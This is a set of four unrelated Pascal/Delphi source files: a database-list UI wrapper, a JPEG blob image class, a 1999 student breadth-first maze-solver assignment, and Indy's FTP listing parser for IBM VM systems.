unit UIWrapper_DBListUnit; interface uses FMX.TabControl, FMX.TreeView, UIWrapper_DBTreeViewUnit, DBManager, SearchResult, DataFileSaver; type TUIWrapper_DBList = class(TObject) private FTabControl: TTabControl; FTreeViews: array of TUIWrapper_DBTreeView; FSelectedDBName: String; FOnAfterSearch: TSearchResultEvent; FOnFoundLogMsgData: TBooleanEvent; procedure OnAfterSearch_Proc(Sender: TObject; schResult: IDataSetIterator); procedure OnFoundLogMsgData_Proc(Sender: TObject; val: Boolean); public constructor Create(tabCtrl: TTabControl; treeViews: array of TTreeView); destructor Destroy; override; procedure ChangeTab(index: Integer); procedure PassFileToTab(filePath: String); function GetSelectedDBName: String; procedure ShowSearchOption; published property OnAfterSearch: TSearchResultEvent read FOnAfterSearch write FOnAfterSearch; property OnFoundLogMsgData: TBooleanEvent read FOnFoundLogMsgData write FOnFoundLogMsgData; end; implementation uses SysUtils, FireBirdDBManager, MsSqlDBManager; { TUIWrapper_Main_DBList } constructor TUIWrapper_DBList.Create(tabCtrl: TTabControl; treeViews: array of TTreeView); var i: Integer; dbm: TAbsDBManager; begin FTabControl := tabCtrl; SetLength( FTreeViews, Length( treeViews ) ); FTreeViews[ 0 ] := TUIWrapper_DBTreeView.Create( treeViews[ 0 ] ); FTreeViews[ 0 ].SetDBManager( TFireBirdDBManager.Create ); FTreeViews[ 0 ].OnAfterSearch := OnAfterSearch_Proc; FTreeViews[ 0 ].OnFoundLogMsgData := OnFoundLogMsgData_Proc; FTreeViews[ 1 ] := TUIWrapper_DBTreeView.Create( treeViews[ 1 ] ); FTreeViews[ 1 ].SetDBManager( TMsSqlDBManager.Create ); FTreeViews[ 1 ].OnAfterSearch := OnAfterSearch_Proc; FTreeViews[ 1 ].OnFoundLogMsgData := OnFoundLogMsgData_Proc; end; destructor TUIWrapper_DBList.Destroy; var i: Integer; begin for i := 0 to High( FTreeViews ) do begin FTreeViews[ i ].Free; end; end; function TUIWrapper_DBList.GetSelectedDBName: String; begin result := FSelectedDBName; end; procedure TUIWrapper_DBList.OnAfterSearch_Proc(Sender: TObject; schResult: IDataSetIterator); begin if Assigned( OnAfterSearch ) = true then begin OnAfterSearch( Sender, schResult ); end; end; procedure TUIWrapper_DBList.OnFoundLogMsgData_Proc(Sender: TObject; val: Boolean); begin if Assigned( OnFoundLogMsgData ) = true then begin OnFoundLogMsgData( Sender, val ); end; end; procedure TUIWrapper_DBList.PassFileToTab(filePath: String); var sFileExt: String; begin sFileExt := LowerCase( ExtractFileExt( filePath ) ); if ( sFileExt = '.gdb' ) or ( sFileExt = '.fdb' ) then begin FTreeViews[ 0 ].AddDBFileInfo( filePath ); ChangeTab( 0 ); end else if sFileExt = '.bak' then begin FTreeViews[ 1 ].AddDBFileInfo( filePath ); ChangeTab( 1 ); end; end; procedure TUIWrapper_DBList.ShowSearchOption; begin FTreeViews[ FTabControl.TabIndex ].ShowSearchOption; end; procedure TUIWrapper_DBList.ChangeTab(index: Integer); begin FTabControl.TabIndex := index; end; end.
unit MetaImage; interface uses Jpeg, DB, DBClient, MetaClass; type TMetaImageType = (mitNone, mitJpeg); TMetaImage = class(TMetaClass) private FType: TMetaImageType; FImage: TJPEGImage; FOwnerType, FOwnerID: Integer; FuserData: Integer; // userdata field from blobs public constructor Create; overload; constructor Create(const AOwnerType, AOwnerID: Integer; ds: TClientDataSet = nil); overload; destructor Destroy; override; function getEmptyState: Boolean; procedure Clear; override; function Load(const AOwnerType, AOwnerID: Integer; ds: TClientDataSet = nil): boolean; function Save: boolean; function ExportXML: String; property imageType: TMetaImageType read FType; property OwnerType: Integer read FOwnerType; property OwnerID: Integer read FOwnerID; property isEmpty: Boolean read getEmptyState; property userData: Integer read FuserData write fUserData; end; implementation uses Classes, prFun, synacode, SysUtils; //============================================================================================ constructor TMetaImage.Create; begin inherited Create(nil); end; //============================================================================================ constructor TMetaImage.Create(const AOwnerType, AOwnerID: Integer; ds: TClientDataSet = nil); begin inherited Create(nil); Load(AOwnerType, AOwnerID, ds); end; //============================================================================================ destructor TMetaImage.Destroy; begin FImage.Free; inherited; end; //============================================================================================ procedure TMetaImage.Clear; begin inherited; FImage.Free; FImage := TJpegImage.Create; FType := mitJpeg; FOwnerType := -1; FOwnerID := -1; end; //============================================================================================ function TMetaImage.Load(const AOwnerType, AOwnerID: Integer; ds: TClientDataSet = nil): Boolean; var BlobStream: TStream; myDS: Boolean; begin Result := True; myDS := (ds = nil); if myDS then ds := newDataSet; Clear; with ds do try if not Active then begin ProviderName := 'Blobs_Get'; FetchParams; Params.ParamByName('ownerid').AsInteger := AOwnerID; Params.ParamByName('ownertype').AsInteger := AOwnerType; Open; end; if not eof then begin BlobStream := CreateBlobStream(FieldByName('data'), bmRead); FImage.LoadFromStream(BlobStream); BlobStream.Free; FID := FieldByName('id').asInteger; FuserData := FieldByName('userData').asInteger; Next; end; except Clear; Result := False; end; // with ds try if myDS then ds.Free; end; //============================================================================================ function TMetaImage.Save: Boolean; begin Result := False; end; //============================================================================================ function TMetaImage.getEmptyState: Boolean; begin Result := FImage.Empty; end; //============================================================================================ function TMetaImage.ExportXML: String; var s: TStringStream; begin if FType = mitNone then begin Result := ''; Exit; end; Result := '<Image>'#10#13'<Id>' + IntTostr(FID) + '</Id>'#13#10'<Type>'; s := TStringStream.Create(''); case FType of mitJpeg: begin Result := Result + 'JPEG'; FImage.SaveToStream(S); end; end; Result := Result + '</Type>'#13#10'<Data>' + EncodeBase64(s.DataString) + '</Data>'#13#10'</Image>'#13#10; s.Free; end; end.
{ CSI 1101-X, Winter 1999 } { Assignment 5, Question 2 } { Identification: Mark Sattolo, student# 428500 } { tutorial group DGD-4, t.a. = Jensen Boire } program a5q2 (input,output) ; label 310 ; const maxMazeSize = 12 ; maxSolutionLength = 78 ; { solutions must be length 77 or less } up = 'u' ; { use the NAMES - up, down, left, and right } down = 'd' ; { throughout your code } left = 'l' ; right = 'r' ; free = '.' ; wall = '#' ; type maze = record size: integer ; { assume the maze is square } map: array[1..maxMazeSize,1..maxMazeSize] of char end ; element_type = string[maxSolutionLength] ; queue = record nodes: array[1..maxSolutionLength] of element_type ; front, rear, size, max_size, run: integer ; end ; { variable for the main program - NOT to be referenced anywhere else } var YESorNO: char ; { ================= QUEUE OPERATIONS ============================== } procedure create_empty( var q:queue ) ; begin q.front := 0 ; q.rear := 0 ; q.max_size := maxSolutionLength ; q.size := 0 ; q.run := 0 ; end; { proc create_empty } function is_empty(q:queue): boolean ; begin if q.size <= 0 then is_empty := true else is_empty := false ; end; { fxn is_empty } procedure destroy( var q:queue ); begin writeln; writeln('>> NOT using dynamically allocated memory in this implementation!') ; writeln('Maximum array utilization for this run was ', q.run, ' elements.') ; writeln; end; { proc destroy } procedure enqueue( v:element_type; var q:queue ) ; begin if q.size = q.max_size then begin writeln('The queue is already full: ', q.size, ' elements.') ; goto 310 ; { halt } end { if } else begin q.nodes[(q.rear mod maxSolutionLength) + 1] := v ; q.rear := (q.rear mod maxSolutionLength) + 1 ; if q.size = 0 then q.front := 1 ; q.size := q.size + 1 ; if q.size > q.run then q.run := q.size ; end { else } end; { proc enqueue } procedure serve( var q:queue ; var v:element_type ); begin if q.size = 0 then begin writeln('Error: attempting to serve from empty queue.') ; goto 310 ; { halt } end { if } else begin v := q.nodes[q.front] ; if q.size = 1 then begin q.rear := 0 ; q.front := 0 ; end { if } else q.front := (q.front mod maxSolutionLength) + 1 ; { end else-2 } q.size := q.size - 1 ; end { else-1 } end; { proc serve } { ================= MAZE OPERATIONS ============================== } procedure read_maze( var M:maze ); var row,col: integer ; begin writeln('How many rows are in your maze (# columns must be the same) ?'); readln(M.size); if (M.size < 1) or (M.size > maxMazeSize) then begin writeln('error - bad maze size'); M.size := 0 end else begin writeln('enter each row of your maze on one line.'); writeln('each position should be either . (empty) or # (wall)'); for row := 1 to M.size do begin for col := 1 to M.size do read(M.map[row,col]) ; readln end end end; procedure check_path ( var path:element_type; var M:maze; var ok: boolean; var is_solution: boolean ); var len,i,row,col: integer ; tempM: maze ; { mark the positions visited to detect cycles } begin row := 1 ; col := 1 ; i := 1 ; len := length(path); ok := len < maxSolutionLength ; tempM := M ; while (i <= len) and ok do if not (path[i] in [left,right,up,down]) then ok := false else begin tempM.map[row,col] := wall ; case path[i] of left : begin col := col - 1 ; if (col < 1) or (tempM.map[row,col]<>free) then ok := false end; right: begin col := col + 1 ; if (col > M.size) or (tempM.map[row,col]<>free) then ok := false end; up : begin row := row - 1 ; if (row < 1) or (tempM.map[row,col]<>free) then ok := false end; down : begin row := row + 1 ; if (row > M.size) or (tempM.map[row,col]<>free) then ok := false end end ; i := i + 1 end ; is_solution := ok and (row = M.size) and (col = M.size) end; procedure write_path( var path:element_type; var M:maze ); var i,row,col: integer ; tempM: maze ; ok, is_solution: boolean ; begin write('The path <'); for i := 1 to length(path) do write(path[i]); write('>'); check_path(path, M, ok, is_solution) ; if not ok then begin writeln(' is not ok') end else begin row := 1 ; col := 1 ; tempM := M ; for i := 1 to length(path) do begin tempM.map[row,col] := path[i]; case path[i] of left : col := col - 1 ; right: col := col + 1 ; up : row := row - 1 ; down : row := row + 1 ; end end ; tempM.map[row,col] := '+' ; writeln(' looks as follows in the maze (it ends at ''+'').') ; for row := 1 to M.size do begin for col := 1 to M.size do write(tempM.map[row,col]); writeln end ; if is_solution then writeln('**** This path leads to the goal.') ; writeln end end; { ========================================================================= } procedure breadth_first_search(var M:maze; var path: element_type; var is_solution:boolean); var q: queue ; val : element_type ; good: boolean ; begin path := '' ; check_path(path, M, good, is_solution) ; write_path(path,M) ; if not is_solution then begin create_empty(q) ; path := right ; check_path(path, M, good, is_solution) ; write_path(path,M) ; if good then enqueue(path, q) ; path := down ; check_path(path, M, good, is_solution) ; write_path(path,M) ; if good then enqueue(path, q) ; while (not is_solution) and (not is_empty(q) ) do begin serve(q, val) ; path := val + right ; check_path(path, M, good, is_solution) ; write_path(path,M) ; if not is_solution then begin if good then enqueue(path, q) ; path := val + down ; check_path(path, M, good, is_solution) ; write_path(path,M) ; if not is_solution then begin if good then enqueue(path, q) ; path := val + left ; check_path(path, M, good, is_solution) ; write_path(path,M) ; if not is_solution then begin if good then enqueue(path, q) ; path := val + up ; check_path(path, M, good, is_solution) ; write_path(path,M) ; if (not is_solution) and good then enqueue(path, q) ; end ; writeln; writeln('>> q.size is ', q.size, '; q.front is ', q.front, '; q.run is ', q.run) ; writeln; end end end ; destroy(q) ; end; end ; procedure assignment5q2 ; var M: maze ; path: element_type ; is_solution: boolean ; begin read_maze(M); writeln ; breadth_first_search(M,path,is_solution); if is_solution then write_path(path,M) else writeln('there is no solution for this maze') end; {***** YOU MUST CHANGE THIS PROCEDURE TO DESCRIBE YOURSELF *****} procedure identify_myself ; { Writes who you are to the screen } begin writeln ; writeln('CSI 1101-X (winter, 1999). Assignment 5, Question 2.') ; writeln('Mark Sattolo, student# 428500.') ; writeln('tutorial section DGD-4, t.a. = Jensen Boire') ; writeln end ; begin { main program } identify_myself ; repeat assignment5q2 ; 310: writeln('Do you wish to continue (y or n) ?') ; readln(YESorNO); until (YESorNO <> 'y') end.
{ $Project$ $Workfile$ $Revision$ $DateUTC$ $Id$ This file is part of the Indy (Internet Direct) project, and is offered under the dual-licensing agreement described on the Indy website. (http://www.indyproject.org/) Copyright: (c) 1993-2005, Chad Z. Hower and the Indy Pit Crew. All rights reserved. } { $Log$ } { Rev 1.8 2/24/2005 10:01:34 AM JPMugaas Fixed estimation of filesize for variable record length files (V) in z/VM to conform to what was specified in: z/VMTCP/IP User’s Guide Version 5 Release 1.0 This will not always give the same estimate as the server would when listing in Unix format "SITE LISTFORMAT UNIX" because we can't know the block size (we have to assume a size of 4096). Rev 1.7 10/26/2004 10:03:20 PM JPMugaas Updated refs. Rev 1.6 9/7/2004 10:02:30 AM JPMugaas Tightened the VM/BFS parser detector so that valid dates have to start the listing item. This should reduce the likelyhood of error. Rev 1.5 6/28/2004 4:34:18 AM JPMugaas VM_CMS-ftp.marist.edu-7.txt was being detected as VM/BFS instead of VM/CMS causing a date encode error. Rev 1.4 4/19/2004 5:05:32 PM JPMugaas Class rework Kudzu wanted. Rev 1.3 2004.02.03 5:45:22 PM czhower Name changes Rev 1.2 10/19/2003 3:48:12 PM DSiders Added localization comments. Rev 1.1 4/7/2003 04:04:30 PM JPMugaas User can now descover what output a parser may give. Rev 1.0 2/19/2003 04:18:20 AM JPMugaas More things restructured for the new list framework. } unit IdFTPListParseVM; { IBM VM and z/VM parser } interface {$i IdCompilerDefines.inc} uses Classes, IdFTPList, IdFTPListParseBase, IdFTPListTypes; type TIdVMCMSFTPListItem = class(TIdRecFTPListItem) protected FOwnerName : String; FNumberBlocks : Integer; public property RecLength : Integer read FRecLength write FRecLength; property RecFormat : String read FRecFormat write FRecFormat; property NumberRecs : Integer read FNumberRecs write FNumberRecs; property OwnerName : String read FOwnerName write FOwnerName; property NumberBlocks : Integer read FNumberBlocks write FNumberBlocks; end; TIdVMVirtualReaderFTPListItem = class(TIdFTPListItem) protected FNumberRecs : Integer; public constructor Create(AOwner: TCollection); override; property NumberRecs : Integer read FNumberRecs write FNumberRecs; end; TIdVMBFSFTPListItem = class(TIdFTPListItem); TIdFTPLPVMCMS = class(TIdFTPListBaseHeaderOpt) protected class function IsHeader(const AData : String): Boolean; override; class function MakeNewItem(AOwner : TIdFTPListItems) : TIdFTPListItem; override; class function ParseLine(const AItem : TIdFTPListItem; const APath : String = ''): Boolean; override; class function CheckListingAlt(AListing : TStrings; const ASysDescript : String = ''; const ADetails : Boolean = True): Boolean; override; public class function GetIdent : String; override; end; TIdFTPLPVMBFS = class(TIdFTPListBase) protected class function MakeNewItem(AOwner : TIdFTPListItems) : TIdFTPListItem; override; class function ParseLine(const AItem : TIdFTPListItem; const APath : String = ''): Boolean; override; public class function GetIdent : String; override; class function CheckListing(AListing : TStrings; const ASysDescript : String = ''; const ADetails : Boolean = True): Boolean; override; end; TIdFTPLVirtualReader = class(TIdFTPListBase) protected class function MakeNewItem(AOwner : TIdFTPListItems) : TIdFTPListItem; override; class function ParseLine(const AItem : TIdFTPListItem; const APath : String = ''): Boolean; override; public class function GetIdent : String; override; class function CheckListing(AListing : TStrings; const ASysDescript : String = ''; const ADetails : Boolean = True): Boolean; override; end; // RLebeau 2/14/09: this forces C++Builder to link to this unit so // RegisterFTPListParser can be called correctly at program startup... (*$HPPEMIT '#pragma link "IdFTPListParseVM"'*) implementation uses IdException, IdGlobal, IdFTPCommon, IdGlobalProtocols, SysUtils; function IsFileMode(const AStr : String) : Boolean; begin Result := CharIsInSet(AStr,1,'ABCDEFGHIJKLMNOPQRSTUV') and CharIsInSet(AStr,2,'0123456'); end; { TIdFTPLPVMCMS } class function TIdFTPLPVMCMS.CheckListingAlt(AListing: TStrings; const ASysDescript: String; const ADetails: Boolean): Boolean; const VMTypes : array [1..3] of string = ('F','V','DIR'); {do not localize} var LData : String; begin Result := False; if AListing.Count > 0 then begin LData := AListing[0]; if IsFileMode(Trim(Copy(LData, 19, 3))) then begin Result := PosInStrArray(Trim(Copy(LData, 22, 3)), VMTypes) <> -1; if Result then begin Result := IsMMDDYY(Trim(Copy(LData,52,10)),'/'); end; end else begin Result := PosInStrArray(Trim(Copy(LData, 19, 3)), VMTypes) <> -1; if Result then begin Result := (Copy(LData, 56, 1) = '/') and (Copy(LData, 59, 1) = '/'); {do not localize} if not Result then begin Result := (Copy(LData, 58, 1) = '-') and (Copy(LData, 61, 1) = '-'); {do not localize} if not Result then begin Result := (Copy(LData, 48, 1) = '-') and (Copy(LData, 51, 1) = '-'); {do not localize} end; end; end; end; end; end; class function TIdFTPLPVMCMS.GetIdent: String; begin Result := 'VM/CMS'; {do not localize} end; class function TIdFTPLPVMCMS.IsHeader(const AData: String): Boolean; begin Result := Trim(AData) = 'Filename FileType Fm Format Lrecl Records Blocks Date Time' end; class function TIdFTPLPVMCMS.MakeNewItem(AOwner: TIdFTPListItems): TIdFTPListItem; begin Result := TIdVMCMSFTPListItem.Create(AOwner); end; class function TIdFTPLPVMCMS.ParseLine(const AItem: TIdFTPListItem; const APath: String): Boolean; var LBuffer : String; LCols : TStrings; LI : TIdVMCMSFTPListItem; LSize : Int64; LPRecLn,LLRecLn : Integer; LPRecNo, LLRecNo : Integer; LPBkNo,LLBkNo : Integer; LPCol : Integer; begin {Some of this is based on the following: http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&oe=utf-8&threadm=4e7k0p%24t1v%40blackice.winternet.com&rnum=4&prev=/groups%3Fq%3DVM%2BFile%2BRecords%2Bdirectory%26hl%3Den%26lr%3D%26ie%3DUTF-8%26oe%3Dutf-8%26selm%3D4e7k0p%2524t1v%2540blackice.winternet.com%26rnum%3D4 and http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&oe=utf-8&selm=DLspv2.G2w%40epsilon.com&rnum=2 } { 123456789012345678901234567890123456789012345678901234567890123456789012 1 2 3 4 5 6 7 OMA00215 PLAN V 64 28 1 6/26/02 9:33:21 - WEBSHARE DIR - - - 5/30/97 18:44:17 - or README ANONYMOU V 71 26 1 1997-04-02 12:33:20 TCP291 or maybe this: ENDTRACE TCPIP F 80 1 1 1999-07-28 12:24:01 TCM191 123456789012345678901234567890123456789012345678901234567890123456789012 1 2 3 4 5 6 7 or possibly this FILELIST format: Filename FileType Fm Format Lrecl Records Blocks Date Time LASTING GLOBALV A1 V 41 21 1 9/16/91 15:10:32 J43401 NETLOG A0 V 77 1 1 9/12/91 12:36:04 PROFILE EXEC A1 V 17 3 1 9/12/91 12:39:07 DIRUNIX SCRIPT A1 V 77 1216 17 1/04/93 20:30:47 MAIL PROFILE A2 F 80 1 1 10/14/92 16:12:27 BADY2K TEXT A0 V 1 1 1 1/03/102 10:11:12 AUTHORS A1 DIR - - - 9/20/99 10:31:11 --------------- 123456789012345678901234567890123456789012345678901234567890123456789012 1 2 3 4 5 6 7 } LI := AItem as TIdVMCMSFTPListItem; //File Name LI.FileName := Trim(Copy(AItem.Data, 1, 8)); //File Type - extension if LI.Data[9] = ' ' then begin LBuffer := Copy(AItem.Data, 10, 9); end else begin LBuffer := Copy(AItem.Data, 9, 9); end; LBuffer := Trim(LBuffer); if LBuffer <> '' then begin LI.FileName := LI.FileName + '.' + LBuffer; {do not localize} end; //Record format LBuffer := Trim(Copy(AItem.Data, 19, 3)); if IsFileMode(LBuffer) then begin LBuffer := Trim(Copy(AItem.Data, 23, 3)); LPRecLn := 30; LLRecLn := 7; LPRecNo := 37; LLRecNo := 7; LPBkNo := 44; LLBkNo := 8; LPCol := 52; end else begin LPRecLn := 22; LLRecLn := 9; LPRecNo := 31; LLRecNo := 11; LPBkNo := 42; LLBkNo := 11; if (Copy(AItem.Data, 48, 1) = '-') and (Copy(AItem.Data, 51, 1) = '-') then begin {do not localize} LPCol := 44; end else begin LPCol := 54; end; end; LI.RecFormat := LBuffer; if LI.RecFormat = 'DIR' then begin {do not localize} LI.ItemType := ditDirectory; LI.RecLength := 0; end else begin LI.ItemType := ditFile; //Record Length - for files LBuffer := Copy(AItem.Data, LPRecLn, LLRecLn); LI.RecLength := IndyStrToInt(LBuffer, 0); //Record numbers LBuffer := Trim(Copy(AItem.Data, LPRecNo, LLRecNo)); LBuffer := Fetch(LBuffer); LI.NumberRecs := IndyStrToInt(LBuffer, 0); //Number of Blocks { From: http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&oe=utf-8&selm=DLspv2.G2w%40epsilon.com&rnum=2 Block sizes can be 800, 512, 1024, 2048, or 4096, per the whim of the user. IBM loves 4096, but it wastes space (just like on FAT partitions on DOS.) For F files (any type which begins with F), record count times logical record length. For V files, you need to read the file for an exact count, or the block size (times block count) for a good guess. In other words, you're up the creek because you don't KNOW the block size. Use record size times record length for a _maximum_ file size. Anyway, you can not know from the directory list. } LBuffer := Trim(Copy(AItem.Data, LPBkNo, LLBkNo)); LI.NumberBlocks := IndyStrToInt(LBuffer, 0); LI.Size := LI.RecLength * LI.NumberRecs; //File Size - note that this is just an estimiate {From: z/VMTCP/IP User’s Guide Version 5 Release 1.0 © Copyright International Business Machines Corporation 1987, 2004. All rights reserved. For fixed-record (F) format minidisk and SFS files, the size field indicates the actual size of a file. For variable-record (V) format minidisk and SFS files, the size field contains an estimated file size, this being the lesser value determined by: – the number of records in the file and its maximum record length – the size and number of blocks required to maintain the file. For virtual reader files, a size of 0 is always indicated.} if LI.RecFormat = 'V' then begin LSize := LI.NumberBlocks * 4096; if LI.Size > LSize then begin LI.Size := LSize; end; end; if LI.RecFormat = 'DIR' then begin LI.SizeAvail := False; end; end; LCols := TStringList.Create; try // we do things this way for the rest because vm.sc.edu has // a variation on VM/CMS that does directory dates differently //and some columns could be off. //Note that the start position in one server it's column 44 while in others, it's column 54 // handle both cases. LBuffer := Trim(Copy(AItem.Data, LPCol, MaxInt)); SplitColumns(LBuffer,LCols); //LCols - 0 - Date //LCols - 1 - Time //LCols - 2 - Owner if present if LCols.Count > 0 then begin //date if IsNumeric(LCols[0], 3) then begin // vm.sc.edu date stamps yyyy-mm-dd LI.ModifiedDate := DateYYMMDD(LCols[0]); end else begin //Note that the date is displayed as 2 digits not 4 digits //mm/dd/yy LI.ModifiedDate := DateMMDDYY(LCols[0]); end; //time LI.ModifiedDate := LI.ModifiedDate + TimeHHMMSS(LCols[1]); //owner if (LCols.Count > 2) and (LCols[2] <> '-') then begin {do not localize} LI.OwnerName := LCols[2]; end; end; finally FreeAndNil(LCols); end; Result := True; end; { TIdFTPLPVMBFS } {List format like: === 05/20/2000 13:38:19 F 1 65758 ’bfsline.cpy’ 05/19/2000 11:02:15 F 1 65758 ’bfsline.txt’ 06/03/2000 12:27:48 F 1 15414 ’bfstest.cpy’ 05/20/2000 13:38:05 F 1 15414 ’bfstest.output’ 05/20/2000 13:38:42 F 1 772902 ’bfswork.output’ 03/31/2000 15:49:27 F 1 782444 ’bfswork.txt’ 05/20/2000 13:39:20 F 1 13930 ’lotsonl.putdata’ 05/19/2000 09:41:21 F 1 13930 ’lotsonl.txt’ 06/15/2000 09:29:25 F 1 278 ’mail.maw’ 05/20/2000 13:39:34 F 1 278 ’mail.putdata’ 05/20/2000 15:30:45 F 1 13930 ’nls.new’ 05/20/2000 14:02:24 F 1 13931 ’nls.txt’ 08/21/2000 10:03:17 F 1 328 ’rock.rules’ 05/20/2000 13:40:05 F 1 58 ’testfil2.putdata’ 04/26/2000 14:34:42 F 1 63 ’testfil2.txt’ 08/21/2000 05:28:40 D - - ’ALTERNATE’ 12/28/2000 17:36:19 D - - ’FIRST === } class function TIdFTPLPVMBFS.CheckListing(AListing: TStrings; const ASysDescript: String; const ADetails: Boolean): Boolean; var s : TStrings; begin Result := False; if AListing.Count > 0 then begin //should have a "'" as the terminator if AListing[0] <> '' then begin if not TextEndsWith(AListing[0], '''') then begin Exit; end; end; s := TStringList.Create; try SplitColumns(TrimRight(AListing[0]), s); if s.Count > 4 then begin if not IsMMDDYY(s[0], '/') then begin {do not localize} Exit; end; Result := CharIsInSet(s[2], 1, 'FD'); {do not localize} if Result then begin Result := IsNumeric(s[4]) or (s[4] <> '-'); {do not localize} end; end; finally FreeAndNil(s); end; end; end; class function TIdFTPLPVMBFS.GetIdent: String; begin Result := 'VM/BFS'; {do not localize} end; class function TIdFTPLPVMBFS.MakeNewItem(AOwner: TIdFTPListItems): TIdFTPListItem; begin Result := TIdVMBFSFTPListItem.Create(AOwner); end; class function TIdFTPLPVMBFS.ParseLine(const AItem: TIdFTPListItem; const APath: String): Boolean; var LBuffer : String; LCols : TStrings; begin // z/VM Byte File System //This is based on: // // z/VM: TCP/IP Level 430 User's Guide Version 4 Release 3.0 // // http://www.vm.ibm.com/pubs/pdf/hcsk7a10.pdf // LBuffer := AItem.Data; LCols := TStringList.Create; try SplitColumns(Fetch(LBuffer, ''''), LCols); {do not localize} //0 - date //1 - time //2 - (D) dir or file (F) //3 - not sure what this is //4 - file size AItem.FileName := LBuffer; if TextEndsWith(AItem.FileName, '''') then begin AItem.FileName := Copy(AItem.FileName, 1, Length(AItem.FileName)-1); end; //date if LCols.Count > 0 then begin AItem.ModifiedDate := DateMMDDYY(LCols[0]); end; if LCols.Count > 1 then begin AItem.ModifiedDate := AItem.ModifiedDate + TimeHHMMSS(LCols[1]); end; if LCols.Count > 2 then begin if LCols[2] = 'D' then begin AItem.ItemType := ditDirectory; end else begin AItem.ItemType := ditFile; end; end; //file size if LCols.Count > 4 then begin if IsNumeric(LCols[3]) then begin AItem.Size := IndyStrToInt64(LCols[4], 0); AItem.SizeAvail := True; end else begin AItem.SizeAvail := False; end; end; finally FreeAndNil(LCols); end; Result := True; end; { TIdFTPLVirtualReader } class function TIdFTPLVirtualReader.CheckListing(AListing: TStrings; const ASysDescript: String; const ADetails: Boolean): Boolean; var s : TStrings; begin Result := False; if AListing.Count > 0 then begin s := TStringList.Create; try SplitColumns(AListing[0], s); if s.Count > 2 then begin if (Length(s[0]) = 4) and IsNumeric(s[0]) then begin Result := (Length(s[2]) = 8) and (IsNumeric(s[2])); end; end; finally FreeAndNil(s); end; end; end; class function TIdFTPLVirtualReader.GetIdent: String; begin Result := 'VM Virtual Reader'; {do not localize} end; class function TIdFTPLVirtualReader.MakeNewItem(AOwner: TIdFTPListItems): TIdFTPListItem; begin Result := TIdVMVirtualReaderFTPListItem.Create(AOwner); end; class function TIdFTPLVirtualReader.ParseLine(const AItem: TIdFTPListItem; const APath: String): Boolean; var LCols : TStrings; LI : TIdVMVirtualReaderFTPListItem; begin // z/VM Byte File System //This is based on: // // z/VM: TCP/IP Level 430 User's Guide Version 4 Release 3.0 // // http://www.vm.ibm.com/pubs/pdf/hcsk7a10.pdf // LI := AItem as TIdVMVirtualReaderFTPListItem; LCols := TStringList.Create; try // z/VM Virtual Reader (RDR) //Col 0 - spool ID //Col 1 - origin //Col 2 - records //Col 3 - date //Col 4 - time //Col 5 - filename //Col 6 - file type SplitColumns(AItem.Data, LCols); if LCols.Count > 5 then begin LI.FileName := LCols[5]; end; if LCols.Count > 6 then begin LI.FileName := LI.FileName + '.' + LCols[6]; {do not localize} end; //record count if LCols.Count > 2 then begin LI.NumberRecs := IndyStrToInt(LCols[2], 0); end; //date if LCols.Count > 3 then begin LI.ModifiedDate := DateYYMMDD(LCols[3]); end; //Time if LCols.Count > 4 then begin LI.ModifiedDate := LI.ModifiedDate + TimeHHMMSS(LCols[1]); end; //Note that IBM does not even try to give an estimate //with reader file sizes when emulating Unix. We can't support file sizes //with this. finally FreeAndNil(LCols); end; Result := True; end; { TIdVMVirtualReaderFTPListItem } constructor TIdVMVirtualReaderFTPListItem.Create(AOwner: TCollection); begin inherited Create(AOwner); //There's no size for things in a virtual reader SizeAvail := False; end; initialization RegisterFTPListParser(TIdFTPLVirtualReader); RegisterFTPListParser(TIdFTPLPVMBFS); RegisterFTPListParser(TIdFTPLPVMCMS); finalization UnRegisterFTPListParser(TIdFTPLVirtualReader); UnRegisterFTPListParser(TIdFTPLPVMBFS); UnRegisterFTPListParser(TIdFTPLPVMCMS); end.